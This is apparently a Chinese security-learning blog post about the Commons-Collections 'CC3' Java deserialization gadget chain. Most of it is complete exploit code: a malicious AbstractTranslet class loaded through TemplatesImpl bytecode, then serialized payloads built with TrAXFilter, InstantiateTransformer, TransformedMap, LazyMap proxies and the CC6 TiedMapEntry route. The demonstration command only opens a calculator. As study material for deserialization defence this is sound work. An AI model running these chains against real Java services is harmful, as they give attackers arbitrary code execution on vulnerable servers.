前言
相比CC1和CC6利用Runtime.exec(),,但是很多服务器会给Runtime设置黑名单,所以CC3使用的是类加载机制,通过加载一个恶意的类来实现恶意代码执行
环境
- jdk8u65
- Commons-Collections 3.2.1
TemplatesImpl的利用
前面学类加载的时候就了解到,大多数情况下defineClass的作用域是不开放的,但是找到一个类TemplatesImpl里的作用域是default,利用路线是
| 12
 3
 4
 
 | TemplatesImpl#newTransformer()-> TemplatesImpl#getTransletInstance()
 -> TemplatesImpl#defineTransletClasses()
 -> TransletClassLoader#defineClass()
 
 | 
现在按照之前的方法,写一个Calc类,通过TemplatesImpl实现类加载,看看效果,现在的代码:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | package com;
 import java.io.IOException;
 
 public class Calc {
 static {
 try {
 Runtime.getRuntime().exec("Calc");
 } catch (IOException e){
 e.printStackTrace();
 }
 }
 }
 
 | 
结合上一篇文章的代码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 |   public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
 TemplatesImpl templates = new TemplatesImpl();
 setFieldValue(templates,"_name","Calc");
 setFieldValue(templates,"_bytecodes",new byte[][]{calc});
 setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
 templates.newTransformer();
 }
 
 
 public static void setFieldValue(Object object, String fieldName,Object fieldValue) throws IllegalAccessException, NoSuchFieldException {
 Field field = object.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(object,fieldValue);
 }
 
 | 
这个时候运行起来,遇到了报错,出现在newTransformer()那里,也是TemplatesImpl这个类里面的422行

解决报错
进入到代码,在前面一个地方打个断点

前面defineClass()其实已经加载好了,来到后面有一个判断

判断在前面defineClass()方法中传进去的参数b数组的字节码是否继承了ABSTRACT_TRANSLET这个父类,如果没有,则给_auxClasse赋值put,此时在调试台中看变量可以发现这个_auxClasse是null,还没被初始化,所以put会失败
目前看起来有两种解决方法:
- 让父类继承ABSTRACT_TRANSLET
- 让_auxClasse不是null
但是要关注到后面的代码还有一个判断

如果 _transletIndex < 0 会抛出异常 而如果不进if语句里(不满足父类 equals ABSTRACT_TRANSLET) _transletIndex就是 -1,也不得行,还会报错
所以我们的解决方案还是让父类继承ABSTRACT_TRANSLET
现在把恶意类改成
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 
 | package com;
 import com.sun.org.apache.xalan.internal.xsltc.DOM;
 import com.sun.org.apache.xalan.internal.xsltc.TransletException;
 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
 import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 
 import java.io.IOException;
 
 public class Calc extends AbstractTranslet {
 static {
 try {
 Runtime.getRuntime().exec("open -a Calculator");
 } catch (IOException e){
 e.printStackTrace();
 }
 }
 @Override
 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
 @Override
 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
 }
 
 | 
再重新建构,执行前面的代码,这样就能正常弹计算机了
结合TemplatesImpl的CC1和CC6
CC1
回顾一下之前的CC1,最后是用transform()触发,现在尝试直接调用看看可不可行
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 
 |     public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
 TemplatesImpl templates = new TemplatesImpl();
 setFieldValue(templates,"_name","Calc");
 setFieldValue(templates,"_bytecodes",new byte[][]{calc});
 setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
 
 
 
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(templates),
 new InvokerTransformer("newTransformer",null,null)
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 chainedTransformer.transform(null);
 }
 
 public static void setFieldValue(Object object, String fieldName,Object fieldValue) throws IllegalAccessException, NoSuchFieldException {
 Field field = object.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(object,fieldValue);
 }
 }
 
 | 
前面已经把我们要传的参数templates用new ConstantTransformer(templates)定义了,后面直接用transform的时候随便传参就好了
接下来引入反序列化
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 
 | package com;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.TransformedMap;
 
 
 import javax.xml.transform.TransformerConfigurationException;
 import java.io.*;
 import java.lang.annotation.Target;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.InvocationTargetException;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.util.HashMap;
 import java.util.Map;
 
 public class test {
 public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
 byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
 TemplatesImpl templates = new TemplatesImpl();
 setFieldValue(templates,"_name","Calc");
 setFieldValue(templates,"_bytecodes",new byte[][]{calc});
 setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
 
 
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(templates),
 new InvokerTransformer("newTransformer",null,null)
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 
 
 HashMap<Object,Object> hashMap = new HashMap<>();
 hashMap.put("value","Flow");
 Map<Object,Object> transformerMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
 
 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
 constructor.setAccessible(true);
 Object o = constructor.newInstance(Target.class,transformerMap);
 
 serialize(o);
 unserialize("ser.bin");
 }
 
 public static void setFieldValue(Object object, String fieldName,Object fieldValue) throws IllegalAccessException, NoSuchFieldException {
 Field field = object.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(object,fieldValue);
 }
 
 public static void serialize(Object obj) throws IOException {
 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
 oos.writeObject(obj);
 }
 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
 Object obj = ois.readObject();
 return obj;
 }
 }
 
 | 
这样就能执行成功
CC6
原理和上面差不多,直接贴出代码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 
 | package com;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.keyvalue.TiedMapEntry;
 import org.apache.commons.collections.map.LazyMap;
 import org.apache.commons.collections.map.TransformedMap;
 
 
 import javax.xml.transform.TransformerConfigurationException;
 import java.io.*;
 import java.lang.annotation.Target;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.InvocationTargetException;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.util.HashMap;
 import java.util.Map;
 
 public class test {
 public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
 byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
 TemplatesImpl templates = new TemplatesImpl();
 setFieldValue(templates,"_name","Calc");
 setFieldValue(templates,"_bytecodes",new byte[][]{calc});
 setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
 
 
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(templates),
 new InvokerTransformer("newTransformer",null,null)
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 
 
 
 HashMap<Object, Object> hashMap = new HashMap<Object,Object>();
 Map decorateMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
 
 
 TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "aaa");
 HashMap<Object, Object> expMap = new HashMap<>();
 expMap.put(tiedMapEntry,"bbb");
 decorateMap.remove("aaa");
 
 
 Class c = LazyMap.class;
 Field factoryField = c.getDeclaredField("factory");
 factoryField.setAccessible(true);
 factoryField.set(decorateMap,chainedTransformer);
 
 serialize(expMap);
 unserialize("ser.bin");
 }
 
 public static void setFieldValue(Object object, String fieldName,Object fieldValue) throws IllegalAccessException, NoSuchFieldException {
 Field field = object.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(object,fieldValue);
 }
 
 public static void serialize(Object obj) throws IOException {
 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
 oos.writeObject(obj);
 }
 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
 Object obj = ois.readObject();
 return obj;
 }
 }
 
 | 
CC3本身
我们是通过TemplatesImpl.newTransformer()加载恶意类,查找用法看看哪里有用到newTransformer(),一共有四个地方,最后选择了TrAXFilter这个类,因为:
- 有一个在Process里面的main,调用不了
- 有两个在TransformerFactoryImpl,但是这个类不能反序列化,如果还要传参数的话就要看他构造函数有没有操作空间,结果这个类的构造函数没有什么,很难传

- 最后找到TrAXFilter,这个也不能序列化,不过他的构造函数内容多多了

而且里面直接调用了(TransformerImpl) templates.newTransformer(),非常适合,直接接上前面的内容就可以实现恶意代码执行
这次CC3链子没有用到InstantiateTransformer,而是InstantiateTransformer
他的构造函数参数够多,而且看到他的transform(),完全符合我们的需求

EXP构造

对于InstantiateTransformer的构造函数,我们就这么写,对应上TrAXFilter
| 1
 | new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
 | 
先直接调用transform()
| 12
 
 | InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});instantiateTransformer.transform(TrAXFilter.class);
 
 | 
这样可以执行,现在套上cc1的内容,为了顺利执行传入TrAXFilter.class这个参数,还是要用到ChainedTransformer
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 
 | public class test {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
 byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
 TemplatesImpl templates = new TemplatesImpl();
 setFieldValue(templates,"_name","Calc");
 setFieldValue(templates,"_bytecodes",new byte[][]{calc});
 setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
 
 
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(TrAXFilter.class),
 new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
 };
 
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 HashMap<Object,Object> hashMap = new HashMap();
 hashMap.put("value","flow");
 Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
 
 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
 constructor.setAccessible(true);
 Object o = constructor.newInstance(Target.class,transformedMap);
 
 serialize(o);
 unserialize("ser.bin");
 }
 }
 
 | 
这样是能成功执行的,按这个套路套入LazyMap版本的和CC6,都成功了
LazyMap:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 
 | public class test {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
 byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
 TemplatesImpl templates = new TemplatesImpl();
 setFieldValue(templates,"_name","Calc");
 setFieldValue(templates,"_bytecodes",new byte[][]{calc});
 setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
 
 
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(TrAXFilter.class),
 new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
 };
 
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 HashMap<Object, Object> hashMap = new HashMap<>();
 Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
 declaredConstructor.setAccessible(true);
 InvocationHandler invocationHandler1 = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
 Map proxyMap = (Map) Proxy.newProxyInstance(
 ClassLoader.getSystemClassLoader(),
 new Class[]{Map.class},
 invocationHandler1);
 InvocationHandler invocationHandler2 = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
 
 serialize(invocationHandler2);
 unserialize("ser.bin");
 
 }
 
 | 
CC6:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 
 |     public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
 TemplatesImpl templates = new TemplatesImpl();
 setFieldValue(templates,"_name","Calc");
 setFieldValue(templates,"_bytecodes",new byte[][]{calc});
 setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
 
 
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(TrAXFilter.class),
 new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
 };
 
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 
 HashMap<Object, Object> hashMap = new HashMap<Object,Object>();
 Map decorateMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
 
 
 TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "aaa");
 HashMap<Object, Object> expMap = new HashMap<>();
 expMap.put(tiedMapEntry,"bbb");
 decorateMap.remove("aaa");
 
 
 Class c = LazyMap.class;
 Field factoryField = c.getDeclaredField("factory");
 factoryField.setAccessible(true);
 factoryField.set(decorateMap,chainedTransformer);
 
 serialize(expMap);
 unserialize("ser.bin");
 }
 
 | 
最后
算是学习了一种新的方式,再结合之前的知识凑来凑去又是新的链子,还是要经常回顾之前的内容,过程中也意识到知识不是很扎实,也是一个查漏补缺的过程吧。
参考
b站:白日梦组长
https://drun1baby.top/2022/06/20/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8704-CC3%E9%93%BE
https://www.cnblogs.com/1vxyz/p/17458691.html